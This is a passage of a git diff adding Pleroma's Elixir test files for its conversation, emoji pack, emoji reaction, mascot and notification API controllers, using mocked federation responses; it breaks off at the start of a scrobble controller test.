b/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs new file mode 100644 index 000000000..e6d0b3e37 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs @@ -0,0 +1,136 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ConversationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Conversation.Participation + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "/api/v1/pleroma/conversations/:id" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) + + [participation] = Participation.for_user(other_user) + + result = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == participation.id |> to_string() + end + + test "/api/v1/pleroma/conversations/:id/statuses" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:statuses"]) + third_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{third_user.nickname}!", visibility: "direct"}) + + {:ok, activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"}) + + [participation] = Participation.for_user(other_user) + + {:ok, activity_two} = + CommonAPI.post(other_user, %{ + status: "Hi!", + in_reply_to_status_id: activity.id, + in_reply_to_conversation_id: participation.id + }) + + result = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses") + |> json_response_and_validate_schema(200) + + assert length(result) == 2 + + id_one = activity.id + id_two = activity_two.id + assert [%{"id" => ^id_one}, %{"id" => ^id_two}] = result + + {:ok, %{id: id_three}} = + CommonAPI.post(other_user, %{ + status: "Bye!", + in_reply_to_status_id: activity.id, + in_reply_to_conversation_id: participation.id + }) + + assert [%{"id" => ^id_two}, %{"id" => ^id_three}] = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?limit=2") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^id_three}] = + conn + |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?min_id=#{id_two}") + |> json_response_and_validate_schema(:ok) + end + + test "PATCH /api/v1/pleroma/conversations/:id" do + %{user: user, conn: conn} = oauth_access(["write:conversations"]) + other_user = insert(:user) + + {:ok, _activity} = CommonAPI.post(user, %{status: "Hi", visibility: "direct"}) + + [participation] = Participation.for_user(user) + + participation = Repo.preload(participation, :recipients) + + user = User.get_cached_by_id(user.id) + assert [user] == participation.recipients + assert other_user not in participation.recipients + + query = "recipients[]=#{user.id}&recipients[]=#{other_user.id}" + + result = + conn + |> patch("/api/v1/pleroma/conversations/#{participation.id}?#{query}") + |> json_response_and_validate_schema(200) + + assert result["id"] == participation.id |> to_string + + [participation] = Participation.for_user(user) + participation = Repo.preload(participation, :recipients) + + assert user in participation.recipients + assert other_user in participation.recipients + end + + test "POST /api/v1/pleroma/conversations/read" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["write:conversations"]) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"}) + + [participation2, participation1] = Participation.for_user(other_user) + assert Participation.get(participation2.id).read == false + assert Participation.get(participation1.id).read == false + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 2 + + [%{"unread" => false}, %{"unread" => false}] = + conn + |> post("/api/v1/pleroma/conversations/read", %{}) + |> json_response_and_validate_schema(200) + + [participation2, participation1] = Participation.for_user(other_user) + assert Participation.get(participation2.id).read == true + assert Participation.get(participation1.id).read == true + assert User.get_cached_by_id(other_user.id).unread_conversation_count == 0 + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs new file mode 100644 index 000000000..386ad8634 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -0,0 +1,604 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + import Pleroma.Factory + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + setup do: clear_config([:instance, :public], true) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + admin_conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Pleroma.Emoji.reload() + {:ok, %{admin_conn: admin_conn}} + end + + test "GET /api/pleroma/emoji/packs when :public: false", %{conn: conn} do + Config.put([:instance, :public], false) + conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + end + + test "GET /api/pleroma/emoji/packs", %{conn: conn} do + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + + assert resp["packs"] + |> Map.keys() + |> length() == 4 + + shared = resp["packs"]["test_pack"] + assert shared["files"] == %{"blank" => "blank.png", "blank2" => "blank2.png"} + assert Map.has_key?(shared["pack"], "download-sha256") + assert shared["pack"]["can-download"] + assert shared["pack"]["share-files"] + + non_shared = resp["packs"]["test_pack_nonshared"] + assert non_shared["pack"]["share-files"] == false + assert non_shared["pack"]["can-download"] == false + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + + packs = Map.keys(resp["packs"]) + + assert length(packs) == 1 + + [pack1] = packs + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=2") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack2] = packs + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=3") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack3] = packs + + resp = + conn + |> get("/api/pleroma/emoji/packs?page_size=1&page=4") + |> json_response_and_validate_schema(200) + + assert resp["count"] == 4 + packs = Map.keys(resp["packs"]) + assert length(packs) == 1 + [pack4] = packs + assert [pack1, pack2, pack3, pack4] |> Enum.uniq() |> length() == 4 + end + + describe "GET /api/pleroma/emoji/packs/remote" do + test "shareable instance", %{admin_conn: admin_conn, conn: conn} do + resp = + conn + |> get("/api/pleroma/emoji/packs?page=2&page_size=1") + |> json_response_and_validate_schema(200) + + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{method: :get, url: "https://example.com/api/pleroma/emoji/packs?page=2&page_size=1"} -> + json(resp) + end) + + assert admin_conn + |> get("/api/pleroma/emoji/packs/remote?url=https://example.com&page=2&page_size=1") + |> json_response_and_validate_schema(200) == resp + end + + test "non shareable instance", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: []}}) + end) + + assert admin_conn + |> get("/api/pleroma/emoji/packs/remote?url=https://example.com") + |> json_response_and_validate_schema(500) == %{ + "error" => "The requested instance does not support sharing emoji packs" + } + end + end + + describe "GET /api/pleroma/emoji/packs/archive?name=:name" do + test "download shared pack", %{conn: conn} do + resp = + conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") + |> response(200) + + {:ok, arch} = :zip.unzip(resp, [:memory]) + + assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end) + assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end) + end + + test "non existing pack", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_for_import") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "Pack test_pack_for_import does not exist" + } + end + + test "non downloadable pack", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack_nonshared") + |> json_response_and_validate_schema(:forbidden) == %{ + "error" => + "Pack test_pack_nonshared cannot be downloaded from this instance, either pack sharing was disabled for this pack or some files are missing" + } + end + end + + describe "POST /api/pleroma/emoji/packs/download" do + test "shared pack from remote and non shared from fallback-src", %{ + admin_conn: admin_conn, + conn: conn + } do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" + } -> + conn + |> get("/api/pleroma/emoji/pack?name=test_pack") + |> json_response_and_validate_schema(200) + |> json() + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/packs/archive?name=test_pack" + } -> + conn + |> get("/api/pleroma/emoji/packs/archive?name=test_pack") + |> response(200) + |> text() + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack_nonshared" + } -> + conn + |> get("/api/pleroma/emoji/pack?name=test_pack_nonshared") + |> json_response_and_validate_schema(200) + |> json() + + %{ + method: :get, + url: "https://nonshared-pack" + } -> + text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/download", %{ + url: "https://example.com", + name: "test_pack", + as: "test_pack2" + }) + |> json_response_and_validate_schema(200) == "ok" + + assert File.exists?("#{@emoji_path}/test_pack2/pack.json") + assert File.exists?("#{@emoji_path}/test_pack2/blank.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=test_pack2") + |> json_response_and_validate_schema(200) == "ok" + + refute File.exists?("#{@emoji_path}/test_pack2") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post( + "/api/pleroma/emoji/packs/download", + %{ + url: "https://example.com", + name: "test_pack_nonshared", + as: "test_pack_nonshared2" + } + ) + |> json_response_and_validate_schema(200) == "ok" + + assert File.exists?("#{@emoji_path}/test_pack_nonshared2/pack.json") + assert File.exists?("#{@emoji_path}/test_pack_nonshared2/blank.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=test_pack_nonshared2") + |> json_response_and_validate_schema(200) == "ok" + + refute File.exists?("#{@emoji_path}/test_pack_nonshared2") + end + + test "nonshareable instance", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: []}}) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post( + "/api/pleroma/emoji/packs/download", + %{ + url: "https://old-instance", + name: "test_pack", + as: "test_pack2" + } + ) + |> json_response_and_validate_schema(500) == %{ + "error" => "The requested instance does not support sharing emoji packs" + } + end + + test "checksum fail", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=pack_bad_sha" + } -> + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("pack_bad_sha") + %Tesla.Env{status: 200, body: Jason.encode!(pack)} + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/packs/archive?name=pack_bad_sha" + } -> + %Tesla.Env{ + status: 200, + body: File.read!("test/instance_static/emoji/pack_bad_sha/pack_bad_sha.zip") + } + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/download", %{ + url: "https://example.com", + name: "pack_bad_sha", + as: "pack_bad_sha2" + }) + |> json_response_and_validate_schema(:internal_server_error) == %{ + "error" => "SHA256 for the pack doesn't match the one sent by the server" + } + end + + test "other error", %{admin_conn: admin_conn} do + mock(fn + %{method: :get, url: "https://example.com/.well-known/nodeinfo"} -> + json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]}) + + %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} -> + json(%{metadata: %{features: ["shareable_emoji_packs"]}}) + + %{ + method: :get, + url: "https://example.com/api/pleroma/emoji/pack?name=test_pack" + } -> + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("test_pack") + %Tesla.Env{status: 200, body: Jason.encode!(pack)} + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/download", %{ + url: "https://example.com", + name: "test_pack", + as: "test_pack2" + }) + |> json_response_and_validate_schema(:internal_server_error) == %{ + "error" => + "The pack was not set as shared and there is no fallback src to download from" + } + end + end + + describe "PATCH /api/pleroma/emoji/pack?name=:name" do + setup do + pack_file = "#{@emoji_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + {:ok, + pack_file: pack_file, + new_data: %{ + "license" => "Test license changed", + "homepage" => "https://pleroma.social", + "description" => "Test description", + "share-files" => false + }} + end + + test "for a pack without a fallback source", ctx do + assert ctx[:admin_conn] + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{ + "metadata" => ctx[:new_data] + }) + |> json_response_and_validate_schema(200) == ctx[:new_data] + + assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data] + end + + test "for a pack with a fallback source", ctx do + mock(fn + %{ + method: :get, + url: "https://nonshared-pack" + } -> + text(File.read!("#{@emoji_path}/test_pack_nonshared/nonshared.zip")) + end) + + new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + + new_data_with_sha = + Map.put( + new_data, + "fallback-src-sha256", + "1967BB4E42BCC34BCC12D57BE7811D3B7BE52F965BCE45C87BD377B9499CE11D" + ) + + assert ctx[:admin_conn] + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) + |> json_response_and_validate_schema(200) == new_data_with_sha + + assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha + end + + test "when the fallback source doesn't have all the files", ctx do + mock(fn + %{ + method: :get, + url: "https://nonshared-pack" + } -> + {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory]) + text(empty_arch) + end) + + new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack") + + assert ctx[:admin_conn] + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/pack?name=test_pack", %{metadata: new_data}) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "The fallback archive does not have all files specified in pack.json" + } + end + end + + describe "POST/DELETE /api/pleroma/emoji/pack?name=:name" do + test "creating and deleting a pack", %{admin_conn: admin_conn} do + assert admin_conn + |> post("/api/pleroma/emoji/pack?name=test_created") + |> json_response_and_validate_schema(200) == "ok" + + assert File.exists?("#{@emoji_path}/test_created/pack.json") + + assert Jason.decode!(File.read!("#{@emoji_path}/test_created/pack.json")) == %{ + "pack" => %{}, + "files" => %{}, + "files_count" => 0 + } + + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=test_created") + |> json_response_and_validate_schema(200) == "ok" + + refute File.exists?("#{@emoji_path}/test_created/pack.json") + end + + test "if pack exists", %{admin_conn: admin_conn} do + path = Path.join(@emoji_path, "test_created") + File.mkdir(path) + pack_file = Jason.encode!(%{files: %{}, pack: %{}}) + File.write!(Path.join(path, "pack.json"), pack_file) + + assert admin_conn + |> post("/api/pleroma/emoji/pack?name=test_created") + |> json_response_and_validate_schema(:conflict) == %{ + "error" => "A pack named \"test_created\" already exists" + } + + on_exit(fn -> File.rm_rf(path) end) + end + + test "with empty name", %{admin_conn: admin_conn} do + assert admin_conn + |> post("/api/pleroma/emoji/pack?name= ") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name cannot be empty" + } + end + end + + test "deleting nonexisting pack", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name=non_existing") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "Pack non_existing does not exist" + } + end + + test "deleting with empty name", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/pack?name= ") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name cannot be empty" + } + end + + test "filesystem import", %{admin_conn: admin_conn, conn: conn} do + on_exit(fn -> + File.rm!("#{@emoji_path}/test_pack_for_import/emoji.txt") + File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") + end) + + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + + refute Map.has_key?(resp["packs"], "test_pack_for_import") + + assert admin_conn + |> get("/api/pleroma/emoji/packs/import") + |> json_response_and_validate_schema(200) == ["test_pack_for_import"] + + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + assert resp["packs"]["test_pack_for_import"]["files"] == %{"blank" => "blank.png"} + + File.rm!("#{@emoji_path}/test_pack_for_import/pack.json") + refute File.exists?("#{@emoji_path}/test_pack_for_import/pack.json") + + emoji_txt_content = """ + blank, blank.png, Fun + blank2, blank.png + foo, /emoji/test_pack_for_import/blank.png + bar + """ + + File.write!("#{@emoji_path}/test_pack_for_import/emoji.txt", emoji_txt_content) + + assert admin_conn + |> get("/api/pleroma/emoji/packs/import") + |> json_response_and_validate_schema(200) == ["test_pack_for_import"] + + resp = conn |> get("/api/pleroma/emoji/packs") |> json_response_and_validate_schema(200) + + assert resp["packs"]["test_pack_for_import"]["files"] == %{ + "blank" => "blank.png", + "blank2" => "blank.png", + "foo" => "blank.png" + } + end + + describe "GET /api/pleroma/emoji/pack?name=:name" do + test "shows pack.json", %{conn: conn} do + assert %{ + "files" => files, + "files_count" => 2, + "pack" => %{ + "can-download" => true, + "description" => "Test description", + "download-sha256" => _, + "homepage" => "https://pleroma.social", + "license" => "Test license", + "share-files" => true + } + } = + conn + |> get("/api/pleroma/emoji/pack?name=test_pack") + |> json_response_and_validate_schema(200) + + assert files == %{"blank" => "blank.png", "blank2" => "blank2.png"} + + assert %{ + "files" => files, + "files_count" => 2 + } = + conn + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1") + |> json_response_and_validate_schema(200) + + assert files |> Map.keys() |> length() == 1 + + assert %{ + "files" => files, + "files_count" => 2 + } = + conn + |> get("/api/pleroma/emoji/pack?name=test_pack&page_size=1&page=2") + |> json_response_and_validate_schema(200) + + assert files |> Map.keys() |> length() == 1 + end + + test "for pack name with special chars", %{conn: conn} do + assert %{ + "files" => files, + "files_count" => 1, + "pack" => %{ + "can-download" => true, + "description" => "Test description", + "download-sha256" => _, + "homepage" => "https://pleroma.social", + "license" => "Test license", + "share-files" => true + } + } = + conn + |> get("/api/pleroma/emoji/pack?name=blobs.gg") + |> json_response_and_validate_schema(200) + end + + test "non existing pack", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/pack?name=non_existing") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "Pack non_existing does not exist" + } + end + + test "error name", %{conn: conn} do + assert conn + |> get("/api/pleroma/emoji/pack?name= ") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name cannot be empty" + } + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs new file mode 100644 index 000000000..3deab30d1 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/emoji_reaction_controller_test.exs @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiReactionControllerTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "PUT /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + + result = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) + |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") + |> json_response_and_validate_schema(200) + + # We return the status, but this our implementation detail. + assert %{"id" => id} = result + assert to_string(activity.id) == id + + assert result["pleroma"]["emoji_reactions"] == [ + %{"name" => "☕", "count" => 1, "me" => true} + ] + + # Reacting with a non-emoji + assert conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) + |> put("/api/v1/pleroma/statuses/#{activity.id}/reactions/x") + |> json_response_and_validate_schema(400) + end + + test "DELETE /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _reaction_activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + ObanHelpers.perform_all() + + result = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"])) + |> delete("/api/v1/pleroma/statuses/#{activity.id}/reactions/☕") + + assert %{"id" => id} = json_response_and_validate_schema(result, 200) + assert to_string(activity.id) == id + + ObanHelpers.perform_all() + + object = Object.get_by_ap_id(activity.data["object"]) + + assert object.data["reaction_count"] == 0 + end + + test "GET /api/v1/pleroma/statuses/:id/reactions", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + doomed_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + assert result == [] + + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, doomed_user, "🎅") + + User.perform(:delete, doomed_user) + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = result + + assert represented_user["id"] == other_user.id + + result = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:statuses"])) + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + assert [%{"name" => "🎅", "count" => 1, "accounts" => [_represented_user], "me" => true}] = + result + end + + test "GET /api/v1/pleroma/statuses/:id/reactions with :show_reactions disabled", %{conn: conn} do + clear_config([:instance, :show_reactions], false) + + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions") + |> json_response_and_validate_schema(200) + + assert result == [] + end + + test "GET /api/v1/pleroma/statuses/:id/reactions/:emoji", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + + result = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") + |> json_response_and_validate_schema(200) + + assert result == [] + + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅") + {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + assert [%{"name" => "🎅", "count" => 1, "accounts" => [represented_user], "me" => false}] = + conn + |> get("/api/v1/pleroma/statuses/#{activity.id}/reactions/🎅") + |> json_response_and_validate_schema(200) + + assert represented_user["id"] == other_user.id + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs new file mode 100644 index 000000000..e2ead6e15 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs @@ -0,0 +1,73 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + + test "mascot upload" do + %{conn: conn} = oauth_access(["write:accounts"]) + + non_image_file = %Plug.Upload{ + content_type: "audio/mpeg", + path: Path.absname("test/fixtures/sound.mp3"), + filename: "sound.mp3" + } + + ret_conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) + + assert json_response_and_validate_schema(ret_conn, 415) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/pleroma/mascot", %{"file" => file}) + + assert %{"id" => _, "type" => image} = json_response_and_validate_schema(conn, 200) + end + + test "mascot retrieving" do + %{user: user, conn: conn} = oauth_access(["read:accounts", "write:accounts"]) + + # When user hasn't set a mascot, we should just get pleroma tan back + ret_conn = get(conn, "/api/v1/pleroma/mascot") + + assert %{"url" => url} = json_response_and_validate_schema(ret_conn, 200) + assert url =~ "pleroma-fox-tan-smol" + + # When a user sets their mascot, we should get that back + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + ret_conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/pleroma/mascot", %{"file" => file}) + + assert json_response_and_validate_schema(ret_conn, 200) + + user = User.get_cached_by_id(user.id) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/pleroma/mascot") + + assert %{"url" => url, "type" => "image"} = json_response_and_validate_schema(conn, 200) + assert url =~ "an_image" + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..bb4fe6c49 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.NotificationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "POST /api/v1/pleroma/notifications/read" do + setup do: oauth_access(["write:notifications"]) + + test "it marks a single notification as read", %{user: user1, conn: conn} do + user2 = insert(:user) + {:ok, activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, [notification1]} = Notification.create_notifications(activity1) + {:ok, [notification2]} = Notification.create_notifications(activity2) + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/notifications/read", %{id: notification1.id}) + |> json_response_and_validate_schema(:ok) + + assert %{"pleroma" => %{"is_seen" => true}} = response + assert Repo.get(Notification, notification1.id).seen + refute Repo.get(Notification, notification2.id).seen + end + + test "it marks multiple notifications as read", %{user: user1, conn: conn} do + user2 = insert(:user) + {:ok, _activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, _activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"}) + {:ok, _activity3} = CommonAPI.post(user2, %{status: "HIE @#{user1.nickname}"}) + + [notification3, notification2, notification1] = Notification.for_user(user1, %{limit: 3}) + + [response1, response2] = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/notifications/read", %{max_id: notification2.id}) + |> json_response_and_validate_schema(:ok) + + assert %{"pleroma" => %{"is_seen" => true}} = response1 + assert %{"pleroma" => %{"is_seen" => true}} = response2 + assert Repo.get(Notification, notification1.id).seen + assert Repo.get(Notification, notification2.id).seen + refute Repo.get(Notification, notification3.id).seen + end + + test "it returns error when notification not found", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/notifications/read", %{ + id: 22_222_222_222_222 + }) + |> json_response_and_validate_schema(:bad_request) + + assert response == %{"error" => "Cannot get notification"} + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs new file mode 100644 index 000000000..f39c07ac6 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.CommonAPI + + describe "POST 